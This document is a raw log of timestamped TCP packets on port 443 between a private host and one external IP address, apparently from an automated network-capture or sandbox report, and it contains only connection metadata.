Oct 26, 2024 13:49:49.816124916 CEST	50026	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.816129923 CEST	443	50026	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.822309017 CEST	50031	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.822351933 CEST	443	50031	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.822499037 CEST	50031	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.823040962 CEST	50031	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.823060989 CEST	443	50031	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.841998100 CEST	443	50027	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.842772007 CEST	50027	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.842786074 CEST	443	50027	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.844104052 CEST	50027	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.844108105 CEST	443	50027	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.938848019 CEST	443	50028	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.939838886 CEST	50028	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.939857960 CEST	443	50028	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.941194057 CEST	50028	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.941200018 CEST	443	50028	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.974785089 CEST	443	50027	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.975013971 CEST	443	50027	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.975080967 CEST	50027	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.975423098 CEST	50027	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.975435019 CEST	443	50027	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.975446939 CEST	50027	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.975451946 CEST	443	50027	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.979356050 CEST	50032	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.979377985 CEST	443	50032	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.979568958 CEST	50032	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.979717970 CEST	50032	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.979727983 CEST	443	50032	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.055032015 CEST	443	50029	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.055501938 CEST	50029	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.055536985 CEST	443	50029	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.056459904 CEST	50029	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.056468964 CEST	443	50029	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.079714060 CEST	443	50028	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.079802036 CEST	443	50028	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.079865932 CEST	50028	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.080617905 CEST	50028	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.080627918 CEST	443	50028	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.080637932 CEST	50028	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.080642939 CEST	443	50028	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.084350109 CEST	443	50030	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.086066008 CEST	50033	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.086093903 CEST	443	50033	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.086256981 CEST	50033	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.087034941 CEST	50030	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.087042093 CEST	443	50030	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.087965965 CEST	50030	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.087970018 CEST	443	50030	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.088496923 CEST	50033	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.088510036 CEST	443	50033	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.188446999 CEST	443	50029	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.188524008 CEST	443	50029	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.188590050 CEST	50029	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.188738108 CEST	50029	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.188761950 CEST	443	50029	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.188781023 CEST	50029	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.188788891 CEST	443	50029	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.193170071 CEST	50034	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.193195105 CEST	443	50034	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.193311930 CEST	50034	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.193504095 CEST	50034	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.193511009 CEST	443	50034	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.217808962 CEST	443	50030	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.217878103 CEST	443	50030	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.217967033 CEST	50030	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.217979908 CEST	443	50030	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.218100071 CEST	50030	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.218197107 CEST	50030	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.218209982 CEST	443	50030	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.218266964 CEST	50030	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.218272924 CEST	443	50030	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.226444006 CEST	50035	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.226466894 CEST	443	50035	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.226599932 CEST	50035	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.227092028 CEST	50035	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.227104902 CEST	443	50035	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.560693026 CEST	443	50031	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.561614990 CEST	50031	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.561660051 CEST	443	50031	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.565433025 CEST	50031	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.565445900 CEST	443	50031	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.690888882 CEST	443	50031	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.691047907 CEST	443	50031	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.691251993 CEST	50031	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.692397118 CEST	50031	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.692419052 CEST	443	50031	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.692435026 CEST	50031	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.692442894 CEST	443	50031	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.694664955 CEST	50036	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.694693089 CEST	443	50036	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.694956064 CEST	50036	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.695106983 CEST	50036	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.695122957 CEST	443	50036	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.727257967 CEST	443	50032	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.727715969 CEST	50032	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.727735043 CEST	443	50032	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.728162050 CEST	50032	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.728168011 CEST	443	50032	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.821996927 CEST	443	50033	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.822494984 CEST	50033	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.822513103 CEST	443	50033	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.822963953 CEST	50033	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.822969913 CEST	443	50033	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.859617949 CEST	443	50032	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.859682083 CEST	443	50032	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.859741926 CEST	50032	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.859955072 CEST	50032	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.859968901 CEST	443	50032	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.859982014 CEST	50032	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.859987020 CEST	443	50032	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.863192081 CEST	50037	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.863217115 CEST	443	50037	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.863281012 CEST	50037	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.863462925 CEST	50037	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.863473892 CEST	443	50037	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.912715912 CEST	443	50034	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.913259983 CEST	50034	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.913271904 CEST	443	50034	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.913727999 CEST	50034	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.913733006 CEST	443	50034	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.952033043 CEST	443	50033	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.952052116 CEST	443	50033	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.952107906 CEST	50033	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.952120066 CEST	443	50033	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.952169895 CEST	443	50033	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.952223063 CEST	50033	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.952349901 CEST	50033	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.952358961 CEST	443	50033	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.952389002 CEST	50033	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.952393055 CEST	443	50033	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.955832005 CEST	50038	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.955857992 CEST	443	50038	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.956085920 CEST	50038	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.956245899 CEST	50038	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.956254959 CEST	443	50038	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.970164061 CEST	443	50035	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.970628023 CEST	50035	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.970645905 CEST	443	50035	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:50.971091986 CEST	50035	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:50.971098900 CEST	443	50035	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.041601896 CEST	443	50034	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.041666031 CEST	443	50034	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.041728020 CEST	50034	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.041992903 CEST	50034	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.042001963 CEST	443	50034	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.042026043 CEST	50034	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.042032003 CEST	443	50034	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.044845104 CEST	50039	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.044862032 CEST	443	50039	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.045053005 CEST	50039	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.045093060 CEST	50039	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.045099020 CEST	443	50039	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.101867914 CEST	443	50035	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.101927996 CEST	443	50035	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.102020025 CEST	50035	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.102031946 CEST	443	50035	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.102140903 CEST	443	50035	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.102194071 CEST	50035	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.102843046 CEST	50035	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.102850914 CEST	443	50035	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.121155977 CEST	50040	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.121242046 CEST	443	50040	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.121355057 CEST	50040	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.121776104 CEST	50040	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.121809959 CEST	443	50040	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.448523045 CEST	443	50036	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.452552080 CEST	50036	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.452600002 CEST	443	50036	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.453913927 CEST	50036	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.453927040 CEST	443	50036	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.581604958 CEST	443	50036	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.581660032 CEST	443	50036	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.581778049 CEST	443	50036	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.581856012 CEST	50036	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.583445072 CEST	50036	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.583473921 CEST	443	50036	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.615700960 CEST	443	50037	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.671717882 CEST	50037	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.695286989 CEST	443	50038	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.708429098 CEST	50037	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.708441019 CEST	443	50037	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.709183931 CEST	50037	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.709188938 CEST	443	50037	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.724401951 CEST	50042	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.724474907 CEST	443	50042	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.724550009 CEST	50042	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.724976063 CEST	50042	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.725008965 CEST	443	50042	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.749871016 CEST	50038	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.769382000 CEST	50038	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.769402027 CEST	443	50038	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.770677090 CEST	50038	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.770694017 CEST	443	50038	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.795964956 CEST	443	50039	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.807964087 CEST	50039	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.808024883 CEST	443	50039	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.809482098 CEST	50039	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.809497118 CEST	443	50039	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.837984085 CEST	443	50037	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.838037014 CEST	443	50037	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.838105917 CEST	50037	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.838135958 CEST	443	50037	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.838798046 CEST	443	50037	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.838890076 CEST	50037	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.854139090 CEST	443	50040	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.864568949 CEST	50037	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.864581108 CEST	443	50037	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.873152018 CEST	50040	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.873171091 CEST	443	50040	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.874705076 CEST	50040	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.874711037 CEST	443	50040	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.925534964 CEST	443	50038	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.925580025 CEST	443	50038	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.925661087 CEST	50038	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.925714970 CEST	443	50038	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.925863028 CEST	443	50038	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.925928116 CEST	50038	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.938996077 CEST	443	50039	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.939071894 CEST	443	50039	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.939152002 CEST	50039	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.990720987 CEST	50038	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.990757942 CEST	443	50038	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.990777969 CEST	50038	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.990786076 CEST	443	50038	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.992811918 CEST	50039	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.992839098 CEST	443	50039	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:51.992851973 CEST	50039	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:51.992857933 CEST	443	50039	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.000022888 CEST	443	50040	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.000123978 CEST	443	50040	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.000173092 CEST	50040	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.007847071 CEST	50040	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.007874966 CEST	443	50040	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.007891893 CEST	50040	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.007899046 CEST	443	50040	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.015801907 CEST	50043	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.015840054 CEST	443	50043	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.015934944 CEST	50043	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.017676115 CEST	50043	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.017688036 CEST	443	50043	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.021085978 CEST	50044	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.021130085 CEST	443	50044	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.021270037 CEST	50044	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.021378040 CEST	50044	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.021400928 CEST	443	50044	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.022558928 CEST	50045	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.022619963 CEST	443	50045	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.022762060 CEST	50045	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.023514986 CEST	50046	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.023538113 CEST	443	50046	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.023688078 CEST	50046	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.024107933 CEST	50045	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.024121046 CEST	443	50045	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.024218082 CEST	50046	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.024229050 CEST	443	50046	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.460586071 CEST	443	50042	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.461489916 CEST	50042	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.461513042 CEST	443	50042	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.462277889 CEST	50042	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.462282896 CEST	443	50042	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.588942051 CEST	443	50042	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.589274883 CEST	443	50042	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.589378119 CEST	50042	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.589533091 CEST	50042	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.589548111 CEST	443	50042	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.595791101 CEST	50047	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.595833063 CEST	443	50047	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.595891953 CEST	50047	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.596343994 CEST	50047	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.596365929 CEST	443	50047	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.749289989 CEST	443	50043	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.756306887 CEST	50043	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.756323099 CEST	443	50043	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.757957935 CEST	50043	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.757962942 CEST	443	50043	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.768781900 CEST	443	50044	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.770091057 CEST	50044	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.770097971 CEST	443	50044	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.771557093 CEST	50044	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.771559954 CEST	443	50044	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.777745008 CEST	443	50045	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.778314114 CEST	50045	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.778338909 CEST	443	50045	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.779369116 CEST	50045	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.779377937 CEST	443	50045	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.784749031 CEST	443	50046	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.785240889 CEST	50046	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.785247087 CEST	443	50046	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.785834074 CEST	50046	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.785836935 CEST	443	50046	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.884037018 CEST	443	50043	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.884094000 CEST	443	50043	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.884310961 CEST	50043	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.884557009 CEST	50043	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.884557009 CEST	50043	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.884569883 CEST	443	50043	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.884578943 CEST	443	50043	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.888614893 CEST	50048	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.888643026 CEST	443	50048	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.888818979 CEST	50048	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.889117956 CEST	50048	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.889131069 CEST	443	50048	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.901778936 CEST	443	50044	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.901798964 CEST	443	50044	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.901849985 CEST	50044	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.901859999 CEST	443	50044	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.901909113 CEST	50044	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.901961088 CEST	443	50044	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.902003050 CEST	443	50044	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.902064085 CEST	50044	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.902240038 CEST	50044	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.902245998 CEST	443	50044	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.902256966 CEST	50044	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.902261019 CEST	443	50044	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.910124063 CEST	443	50045	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.910188913 CEST	443	50045	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.910242081 CEST	50045	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.910264969 CEST	443	50045	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.910316944 CEST	443	50045	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.910358906 CEST	50045	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.910732031 CEST	50045	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.910756111 CEST	443	50045	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.910768986 CEST	50045	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.910777092 CEST	443	50045	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.916047096 CEST	50049	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.916074038 CEST	443	50049	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.916141987 CEST	50049	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.916520119 CEST	50049	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.916539907 CEST	443	50049	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.918541908 CEST	50050	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.918553114 CEST	443	50050	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:52.918597937 CEST	50050	443	192.168.2.5	13.107.246.60
